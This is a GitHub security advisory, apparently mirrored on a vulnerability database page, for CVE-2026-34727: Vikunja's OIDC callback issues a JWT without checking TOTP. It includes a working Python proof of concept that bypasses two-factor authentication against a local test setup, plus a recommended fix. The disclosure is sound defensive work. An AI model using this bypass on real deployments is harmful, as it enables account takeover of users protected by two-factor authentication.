GHSA-8JVC-MCX6-R4CG

Vulnerability from github – Published: 2026-04-10 15:30 – Updated: 2026-04-10 19:35
VLAI?
Summary
Vikunja has TOTP Two-Factor Authentication Bypass via OIDC Login Path
Details

Summary

The OIDC callback handler issues a full JWT token without checking whether the matched user has TOTP two-factor authentication enabled. When a local user with TOTP enrolled is matched via the OIDC email fallback mechanism, the second factor is completely skipped.

Details

The OIDC callback at pkg/modules/auth/openid/openid.go:185 issues a JWT directly after user lookup:

return auth.NewUserAuthTokenResponse(u, c, false)

There are zero references to TOTP in the entire pkg/modules/auth/openid/ directory. By contrast, the local login handler at pkg/routes/api/v1/login.go:79-102 correctly implements TOTP verification:

totpEnabled, err := user2.TOTPEnabledForUser(s, user)
if totpEnabled {
    if u.TOTPPasscode == "" {
        _ = s.Rollback()
        return user2.ErrInvalidTOTPPasscode{}
    }
    _, err = user2.ValidateTOTPPasscode(s, &user2.TOTPPasscode{
        User:     user,
        Passcode: u.TOTPPasscode,
    })

When OIDC EmailFallback maps to a local user who has TOTP enabled, the TOTP enrollment is ignored and a full JWT is issued without any second-factor challenge.

Proof of Concept

Tested on Vikunja v2.2.2 with Dex as the OIDC provider.

Setup: - Vikunja configured with emailfallback: true for Dex - Local user alice (id=1) has TOTP enabled

import requests, re, html
from urllib.parse import parse_qs, urlparse

TARGET = "http://localhost:3456"
DEX = "http://localhost:5556"
API = f"{TARGET}/api/v1"

# verify TOTP is required for local login
r = requests.post(f"{API}/login",
    json={"username": "alice", "password": "Alice1234!"})
print(f"Local login without TOTP: {r.status_code} code={r.json().get('code')}")
# Output: 412 code=1017 (TOTP required)

# login via OIDC (same flow as VIK-020 PoC)
s = requests.Session()
r = s.get(f"{DEX}/dex/auth?client_id=vikunja"
          f"&redirect_uri={TARGET}/auth/openid/dex"
          f"&response_type=code&scope=openid+profile+email&state=x")
action = html.unescape(re.search(r'action="([^"]*)"', r.text).group(1))
if not action.startswith("http"): action = DEX + action
r = s.post(action, data={"login": "alice@test.com", "password": "password"},
           allow_redirects=False)
approval_url = DEX + r.headers["Location"]
r = s.get(approval_url)
req = re.search(r'name="req" value="([^"]*)"', r.text).group(1)
r = s.post(approval_url, data={"req": req, "approval": "approve"},
           allow_redirects=False)
code = parse_qs(urlparse(r.headers["Location"]).query)["code"][0]

resp = requests.post(f"{API}/auth/openid/dex/callback",
    json={"code": code, "redirect_url": f"{TARGET}/auth/openid/dex"})
print(f"OIDC login: {resp.status_code}")

user = requests.get(f"{API}/user",
    headers={"Authorization": f"Bearer {resp.json()['token']}"}).json()
print(f"User: id={user['id']} username={user['username']}")
# TOTP was completely bypassed

Output:

Local login without TOTP: 412 code=1017
OIDC login: 200
User: id=1 username=alice

Local login correctly requires TOTP (412), but the OIDC path issued a JWT for alice without any TOTP challenge.

Impact

When an administrator enables OIDC with EmailFallback, any user who has enrolled TOTP two-factor authentication on their local account can have that protection completely bypassed. An attacker who can authenticate to the OIDC provider with a matching email address gains full access without any second-factor challenge. This undermines the security guarantee of TOTP enrollment.

This vulnerability is a prerequisite chain with the OIDC email fallback account takeover (missing email_verified check). Together, they allow an attacker to bypass both the password and the TOTP second factor.

Recommended Fix

Add a TOTP check in the OIDC callback before issuing the JWT:

totpEnabled, err := user.TOTPEnabledForUser(s, u)
if err != nil {
    _ = s.Rollback()
    return err
}
if totpEnabled {
    _ = s.Rollback()
    return echo.NewHTTPError(http.StatusForbidden,
        "TOTP verification required. Please use the local login endpoint.")
}
return auth.NewUserAuthTokenResponse(u, c, false)

Found and reported by aisafe.io

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.2.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "code.vikunja.io/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34727"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T15:30:57Z",
    "nvd_published_at": "2026-04-10T16:16:31Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe OIDC callback handler issues a full JWT token without checking whether the matched user has TOTP two-factor authentication enabled. When a local user with TOTP enrolled is matched via the OIDC email fallback mechanism, the second factor is completely skipped.\n\n## Details\n\nThe OIDC callback at `pkg/modules/auth/openid/openid.go:185` issues a JWT directly after user lookup:\n\n```go\nreturn auth.NewUserAuthTokenResponse(u, c, false)\n```\n\nThere are zero references to TOTP in the entire `pkg/modules/auth/openid/` directory. By contrast, the local login handler at `pkg/routes/api/v1/login.go:79-102` correctly implements TOTP verification:\n\n```go\ntotpEnabled, err := user2.TOTPEnabledForUser(s, user)\nif totpEnabled {\n    if u.TOTPPasscode == \"\" {\n        _ = s.Rollback()\n        return user2.ErrInvalidTOTPPasscode{}\n    }\n    _, err = user2.ValidateTOTPPasscode(s, \u0026user2.TOTPPasscode{\n        User:     user,\n        Passcode: u.TOTPPasscode,\n    })\n```\n\nWhen OIDC `EmailFallback` maps to a local user who has TOTP enabled, the TOTP enrollment is ignored and a full JWT is issued without any second-factor challenge.\n\n## Proof of Concept\n\nTested on Vikunja v2.2.2 with Dex as the OIDC provider.\n\nSetup:\n- Vikunja configured with `emailfallback: true` for Dex\n- Local user `alice` (id=1) has TOTP enabled\n\n```python\nimport requests, re, html\nfrom urllib.parse import parse_qs, urlparse\n\nTARGET = \"http://localhost:3456\"\nDEX = \"http://localhost:5556\"\nAPI = f\"{TARGET}/api/v1\"\n\n# verify TOTP is required for local login\nr = requests.post(f\"{API}/login\",\n    json={\"username\": \"alice\", \"password\": \"Alice1234!\"})\nprint(f\"Local login without TOTP: {r.status_code} code={r.json().get(\u0027code\u0027)}\")\n# Output: 412 code=1017 (TOTP required)\n\n# login via OIDC (same flow as VIK-020 PoC)\ns = requests.Session()\nr = s.get(f\"{DEX}/dex/auth?client_id=vikunja\"\n          f\"\u0026redirect_uri={TARGET}/auth/openid/dex\"\n          f\"\u0026response_type=code\u0026scope=openid+profile+email\u0026state=x\")\naction = html.unescape(re.search(r\u0027action=\"([^\"]*)\"\u0027, r.text).group(1))\nif not action.startswith(\"http\"): action = DEX + action\nr = s.post(action, data={\"login\": \"alice@test.com\", \"password\": \"password\"},\n           allow_redirects=False)\napproval_url = DEX + r.headers[\"Location\"]\nr = s.get(approval_url)\nreq = re.search(r\u0027name=\"req\" value=\"([^\"]*)\"\u0027, r.text).group(1)\nr = s.post(approval_url, data={\"req\": req, \"approval\": \"approve\"},\n           allow_redirects=False)\ncode = parse_qs(urlparse(r.headers[\"Location\"]).query)[\"code\"][0]\n\nresp = requests.post(f\"{API}/auth/openid/dex/callback\",\n    json={\"code\": code, \"redirect_url\": f\"{TARGET}/auth/openid/dex\"})\nprint(f\"OIDC login: {resp.status_code}\")\n\nuser = requests.get(f\"{API}/user\",\n    headers={\"Authorization\": f\"Bearer {resp.json()[\u0027token\u0027]}\"}).json()\nprint(f\"User: id={user[\u0027id\u0027]} username={user[\u0027username\u0027]}\")\n# TOTP was completely bypassed\n```\n\nOutput:\n```\nLocal login without TOTP: 412 code=1017\nOIDC login: 200\nUser: id=1 username=alice\n```\n\nLocal login correctly requires TOTP (412), but the OIDC path issued a JWT for alice without any TOTP challenge.\n\n## Impact\n\nWhen an administrator enables OIDC with `EmailFallback`, any user who has enrolled TOTP two-factor authentication on their local account can have that protection completely bypassed. An attacker who can authenticate to the OIDC provider with a matching email address gains full access without any second-factor challenge. This undermines the security guarantee of TOTP enrollment.\n\nThis vulnerability is a prerequisite chain with the OIDC email fallback account takeover (missing `email_verified` check). Together, they allow an attacker to bypass both the password and the TOTP second factor.\n\n## Recommended Fix\n\nAdd a TOTP check in the OIDC callback before issuing the JWT:\n\n```go\ntotpEnabled, err := user.TOTPEnabledForUser(s, u)\nif err != nil {\n    _ = s.Rollback()\n    return err\n}\nif totpEnabled {\n    _ = s.Rollback()\n    return echo.NewHTTPError(http.StatusForbidden,\n        \"TOTP verification required. Please use the local login endpoint.\")\n}\nreturn auth.NewUserAuthTokenResponse(u, c, false)\n```\n\n---\n*Found and reported by [aisafe.io](https://aisafe.io)*",
  "id": "GHSA-8jvc-mcx6-r4cg",
  "modified": "2026-04-10T19:35:20Z",
  "published": "2026-04-10T15:30:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-8jvc-mcx6-r4cg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34727"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/pull/2582"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/commit/b642b2a4536a3846e627a78dce2fdd1be425e6a1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-vikunja/vikunja"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vikunja has TOTP Two-Factor Authentication Bypass via OIDC Login Path"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…